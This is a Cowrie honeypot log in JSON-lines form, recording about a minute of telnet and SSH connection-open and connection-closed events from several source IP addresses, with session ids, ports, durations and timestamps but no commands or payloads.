{"eventid":"cowrie.session.closed","duration":37.124552965164185,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:45:09.188329Z","src_ip":"65.60.27.33","session":"cf617b6fca9a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":40472,"dst_ip":"10.17.0.5","dst_port":23,"session":"76508208c547","protocol":"telnet","message":"New connection: 62.210.97.77:40472 (10.17.0.5:23) [session: 76508208c547]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:45:09.481863Z"}
{"eventid":"cowrie.session.closed","duration":37.45149755477905,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:45:10.232641Z","src_ip":"65.60.27.33","session":"8cc793f3572e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.19056582450867,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:45:11.035140Z","src_ip":"62.210.97.77","session":"9fbe1ab87cee","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.28712582588196,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:45:11.368443Z","src_ip":"65.60.27.33","session":"93c8d8cd2400","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":40476,"dst_ip":"10.17.0.5","dst_port":23,"session":"9a1476cdc2dd","protocol":"telnet","message":"New connection: 62.210.97.77:40476 (10.17.0.5:23) [session: 9a1476cdc2dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:45:12.122699Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":40478,"dst_ip":"10.17.0.5","dst_port":23,"session":"567eaeff4315","protocol":"telnet","message":"New connection: 62.210.97.77:40478 (10.17.0.5:23) [session: 567eaeff4315]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:45:12.541508Z"}
{"eventid":"cowrie.session.closed","duration":32.60263442993164,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:45:12.970676Z","src_ip":"62.210.97.77","session":"c00556a03a57","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":47.55674719810486,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:45:14.273484Z","src_ip":"165.232.131.181","session":"0cf33c019109","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":40488,"dst_ip":"10.17.0.5","dst_port":23,"session":"ca70443721bb","protocol":"telnet","message":"New connection: 62.210.97.77:40488 (10.17.0.5:23) [session: ca70443721bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:45:14.416842Z"}
{"eventid":"cowrie.session.closed","duration":33.44530200958252,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:45:15.265225Z","src_ip":"62.210.97.77","session":"be4268fb226f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":40494,"dst_ip":"10.17.0.5","dst_port":23,"session":"a9dcc8d41762","protocol":"telnet","message":"New connection: 62.210.97.77:40494 (10.17.0.5:23) [session: a9dcc8d41762]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:45:15.520231Z"}
{"eventid":"cowrie.session.closed","duration":38.038207054138184,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:45:15.696551Z","src_ip":"65.60.27.33","session":"e9e89f447720","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":40510,"dst_ip":"10.17.0.5","dst_port":23,"session":"8c8f64085424","protocol":"telnet","message":"New connection: 62.210.97.77:40510 (10.17.0.5:23) [session: 8c8f64085424]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:45:16.035056Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":40526,"dst_ip":"10.17.0.5","dst_port":23,"session":"ee10d87dcb7e","protocol":"telnet","message":"New connection: 62.210.97.77:40526 (10.17.0.5:23) [session: ee10d87dcb7e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:45:17.350716Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":49618,"dst_ip":"10.17.0.5","dst_port":23,"session":"3cbe018ffb52","protocol":"telnet","message":"New connection: 65.60.27.33:49618 (10.17.0.5:23) [session: 3cbe018ffb52]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:45:17.796051Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":50522,"dst_ip":"10.17.0.5","dst_port":23,"session":"0f835b17549d","protocol":"telnet","message":"New connection: 65.60.27.33:50522 (10.17.0.5:23) [session: 0f835b17549d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:45:18.433395Z"}
{"eventid":"cowrie.session.closed","duration":34.70691466331482,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:45:19.423281Z","src_ip":"62.210.97.77","session":"00da7fbbe577","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":59.89332962036133,"message":"Connection lost after 59 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:45:19.530637Z","src_ip":"134.209.8.29","session":"39f8fe32bda7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":42712,"dst_ip":"10.17.0.5","dst_port":23,"session":"ead38d51290f","protocol":"telnet","message":"New connection: 62.210.97.77:42712 (10.17.0.5:23) [session: ead38d51290f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:45:19.607640Z"}
{"eventid":"cowrie.session.closed","duration":2.2374894618988037,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:45:20.670764Z","src_ip":"65.60.27.33","session":"0f835b17549d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.64717149734497,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:45:22.646860Z","src_ip":"62.210.97.77","session":"998252e3c2cb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":42714,"dst_ip":"10.17.0.5","dst_port":23,"session":"950ca75001b5","protocol":"telnet","message":"New connection: 62.210.97.77:42714 (10.17.0.5:23) [session: 950ca75001b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:45:22.684993Z"}
{"eventid":"cowrie.session.closed","duration":38.3145010471344,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:45:22.848117Z","src_ip":"62.210.97.77","session":"3dc5c7aed50a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.46329927444458,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:45:23.582296Z","src_ip":"38.54.119.93","session":"eb4adad49c57","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":54394,"dst_ip":"10.17.0.5","dst_port":23,"session":"d923968b711a","protocol":"telnet","message":"New connection: 38.54.119.93:54394 (10.17.0.5:23) [session: d923968b711a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:45:24.560465Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":56454,"dst_ip":"10.17.0.5","dst_port":23,"session":"67eee0fd3f9b","protocol":"telnet","message":"New connection: 65.60.27.33:56454 (10.17.0.5:23) [session: 67eee0fd3f9b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:45:24.865024Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":42720,"dst_ip":"10.17.0.5","dst_port":23,"session":"c860da6614e0","protocol":"telnet","message":"New connection: 62.210.97.77:42720 (10.17.0.5:23) [session: c860da6614e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:45:26.214846Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":42732,"dst_ip":"10.17.0.5","dst_port":23,"session":"9b93e8c47398","protocol":"telnet","message":"New connection: 62.210.97.77:42732 (10.17.0.5:23) [session: 9b93e8c47398]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:45:26.815372Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":42320,"dst_ip":"10.17.0.5","dst_port":23,"session":"77645653955d","protocol":"telnet","message":"New connection: 165.232.131.181:42320 (10.17.0.5:23) [session: 77645653955d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:45:28.064923Z"}
{"eventid":"cowrie.session.closed","duration":0.006411552429199219,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:45:28.071179Z","src_ip":"165.232.131.181","session":"77645653955d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.504225969314575,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:45:30.681904Z","src_ip":"62.210.97.77","session":"9ca708e23cb6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":6.567706108093262,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:45:31.128019Z","src_ip":"38.54.119.93","session":"d923968b711a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":44404,"dst_ip":"10.17.0.5","dst_port":23,"session":"de14fca44993","protocol":"telnet","message":"New connection: 62.210.97.77:44404 (10.17.0.5:23) [session: de14fca44993]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:45:32.129209Z"}
{"eventid":"cowrie.session.closed","duration":31.42956018447876,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:45:32.229035Z","src_ip":"62.210.97.77","session":"e84c08f90341","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":56598,"dst_ip":"10.17.0.5","dst_port":23,"session":"18299bd313ac","protocol":"telnet","message":"New connection: 165.232.131.181:56598 (10.17.0.5:23) [session: 18299bd313ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:45:32.424504Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":43042,"dst_ip":"10.17.0.5","dst_port":23,"session":"9f6c3b1d3935","protocol":"telnet","message":"New connection: 165.232.131.181:43042 (10.17.0.5:23) [session: 9f6c3b1d3935]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:45:34.901135Z"}
{"eventid":"cowrie.session.closed","duration":0.0043680667877197266,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:45:34.905371Z","src_ip":"165.232.131.181","session":"9f6c3b1d3935","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":44416,"dst_ip":"10.17.0.5","dst_port":23,"session":"890791776493","protocol":"telnet","message":"New connection: 62.210.97.77:44416 (10.17.0.5:23) [session: 890791776493]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:45:35.020626Z"}
{"eventid":"cowrie.session.closed","duration":35.0765860080719,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:45:35.995425Z","src_ip":"65.60.27.33","session":"c9831812c647","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":44418,"dst_ip":"10.17.0.5","dst_port":23,"session":"99c81138b5ca","protocol":"telnet","message":"New connection: 62.210.97.77:44418 (10.17.0.5:23) [session: 99c81138b5ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:45:37.468906Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":44550,"dst_ip":"10.17.0.5","dst_port":23,"session":"fc4675bcfb54","protocol":"telnet","message":"New connection: 65.60.27.33:44550 (10.17.0.5:23) [session: fc4675bcfb54]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:45:37.720116Z"}
{"eventid":"cowrie.session.closed","duration":35.312663316726685,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:45:38.024016Z","src_ip":"62.210.97.77","session":"c351980dafcc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.38424229621887,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:45:38.117254Z","src_ip":"62.210.97.77","session":"3367bf012216","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.892584323883057,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:45:38.332250Z","src_ip":"62.210.97.77","session":"b1b6fd5410d4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.99394130706787,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:45:40.065721Z","src_ip":"62.210.97.77","session":"c853740ccc21","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":47296,"dst_ip":"10.17.0.5","dst_port":23,"session":"4c2095194023","protocol":"telnet","message":"New connection: 65.60.27.33:47296 (10.17.0.5:23) [session: 4c2095194023]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:45:40.076864Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":36978,"dst_ip":"10.17.0.5","dst_port":23,"session":"f2e3dbed62a9","protocol":"telnet","message":"New connection: 38.54.119.93:36978 (10.17.0.5:23) [session: f2e3dbed62a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:45:40.621393Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.182","src_port":38956,"dst_ip":"159.203.135.109","dst_port":22,"session":"e229db5db151","protocol":"ssh","message":"New connection: 80.94.92.182:38956 (159.203.135.109:22) [session: e229db5db151]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:45:41.030802Z"}
{"eventid":"cowrie.session.closed","duration":31.597205877304077,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:45:41.078949Z","src_ip":"62.210.97.77","session":"76508208c547","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:45:41.143160Z","src_ip":"80.94.92.182","session":"e229db5db151","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":57506,"dst_ip":"10.17.0.5","dst_port":23,"session":"10d2fbe32ac7","protocol":"telnet","message":"New connection: 62.210.97.77:57506 (10.17.0.5:23) [session: 10d2fbe32ac7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:45:41.214689Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":57512,"dst_ip":"10.17.0.5","dst_port":23,"session":"df84eaecea69","protocol":"telnet","message":"New connection: 62.210.97.77:57512 (10.17.0.5:23) [session: df84eaecea69]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:45:43.574997Z"}
{"eventid":"cowrie.session.closed","duration":47.00784993171692,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:45:44.271520Z","src_ip":"165.232.131.181","session":"b9423d040e92","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":7.416123390197754,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:45:45.136072Z","src_ip":"65.60.27.33","session":"fc4675bcfb54","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00194668769836,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:45:45.905145Z","src_ip":"38.54.119.93","session":"3010cada09dd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":56048,"dst_ip":"10.17.0.5","dst_port":23,"session":"bfab3ee1d0e7","protocol":"telnet","message":"New connection: 65.60.27.33:56048 (10.17.0.5:23) [session: bfab3ee1d0e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:45:47.665297Z"}
{"eventid":"cowrie.session.closed","duration":44.902979373931885,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:45:47.749730Z","src_ip":"165.232.131.181","session":"618519c55411","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.47446846961975,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:45:48.015865Z","src_ip":"62.210.97.77","session":"567eaeff4315","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.06922888755798,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:45:48.104201Z","src_ip":"62.210.97.77","session":"8c8f64085424","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.889851331710815,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:45:48.768944Z","src_ip":"165.232.131.181","session":"2e9a3dfdb910","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":42694,"dst_ip":"10.17.0.5","dst_port":23,"session":"ef1fe46dad20","protocol":"telnet","message":"New connection: 38.54.119.93:42694 (10.17.0.5:23) [session: ef1fe46dad20]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:45:48.857318Z"}
{"eventid":"cowrie.session.closed","duration":34.234288692474365,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:45:49.754333Z","src_ip":"62.210.97.77","session":"a9dcc8d41762","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":36134,"dst_ip":"10.17.0.5","dst_port":23,"session":"e2b85d482283","protocol":"telnet","message":"New connection: 165.232.131.181:36134 (10.17.0.5:23) [session: e2b85d482283]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:45:51.608184Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":55594,"dst_ip":"10.17.0.5","dst_port":23,"session":"dd948f0dbf5c","protocol":"telnet","message":"New connection: 62.210.97.77:55594 (10.17.0.5:23) [session: dd948f0dbf5c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:45:52.007522Z"}
{"eventid":"cowrie.session.closed","duration":40.555638551712036,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:45:52.678207Z","src_ip":"62.210.97.77","session":"9a1476cdc2dd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.46302914619446,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:45:53.813630Z","src_ip":"62.210.97.77","session":"ee10d87dcb7e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":37042,"dst_ip":"10.17.0.5","dst_port":23,"session":"ce8545aacf9e","protocol":"telnet","message":"New connection: 165.232.131.181:37042 (10.17.0.5:23) [session: ce8545aacf9e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:45:54.052462Z"}
{"eventid":"cowrie.session.closed","duration":36.81358742713928,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:45:54.609515Z","src_ip":"65.60.27.33","session":"3cbe018ffb52","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.33120775222778,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:45:54.747911Z","src_ip":"62.210.97.77","session":"ca70443721bb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":55598,"dst_ip":"10.17.0.5","dst_port":23,"session":"dd2e7e2c4d66","protocol":"telnet","message":"New connection: 62.210.97.77:55598 (10.17.0.5:23) [session: dd2e7e2c4d66]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:45:56.048264Z"}
{"eventid":"cowrie.session.closed","duration":36.45002794265747,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:45:56.057565Z","src_ip":"62.210.97.77","session":"ead38d51290f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":55604,"dst_ip":"10.17.0.5","dst_port":23,"session":"a2282b98059a","protocol":"telnet","message":"New connection: 62.210.97.77:55604 (10.17.0.5:23) [session: a2282b98059a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:45:56.587502Z"}
{"eventid":"cowrie.session.closed","duration":31.011108875274658,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:45:57.225854Z","src_ip":"62.210.97.77","session":"c860da6614e0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.2385470867157,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:45:57.923431Z","src_ip":"62.210.97.77","session":"950ca75001b5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":50066,"dst_ip":"10.17.0.5","dst_port":23,"session":"e9657651593e","protocol":"telnet","message":"New connection: 38.54.119.93:50066 (10.17.0.5:23) [session: e9657651593e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:45:59.180786Z"}
{"eventid":"cowrie.session.closed","duration":33.86583948135376,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:46:00.681091Z","src_ip":"62.210.97.77","session":"9b93e8c47398","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.11450934410095,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:46:03.979433Z","src_ip":"65.60.27.33","session":"67eee0fd3f9b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":39916,"dst_ip":"10.17.0.5","dst_port":23,"session":"e8fa31c84ad0","protocol":"telnet","message":"New connection: 62.210.97.77:39916 (10.17.0.5:23) [session: e8fa31c84ad0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:46:04.700710Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":47308,"dst_ip":"10.17.0.5","dst_port":23,"session":"6f1bee4689c3","protocol":"telnet","message":"New connection: 65.60.27.33:47308 (10.17.0.5:23) [session: 6f1bee4689c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:46:05.157793Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":39922,"dst_ip":"10.17.0.5","dst_port":23,"session":"b3ad63c26e2f","protocol":"telnet","message":"New connection: 62.210.97.77:39922 (10.17.0.5:23) [session: b3ad63c26e2f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:46:08.414475Z"}
{"eventid":"cowrie.session.closed","duration":36.56157350540161,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:46:08.690666Z","src_ip":"62.210.97.77","session":"de14fca44993","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.54806423187256,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:46:10.568565Z","src_ip":"62.210.97.77","session":"890791776493","protocol":"telnet"}
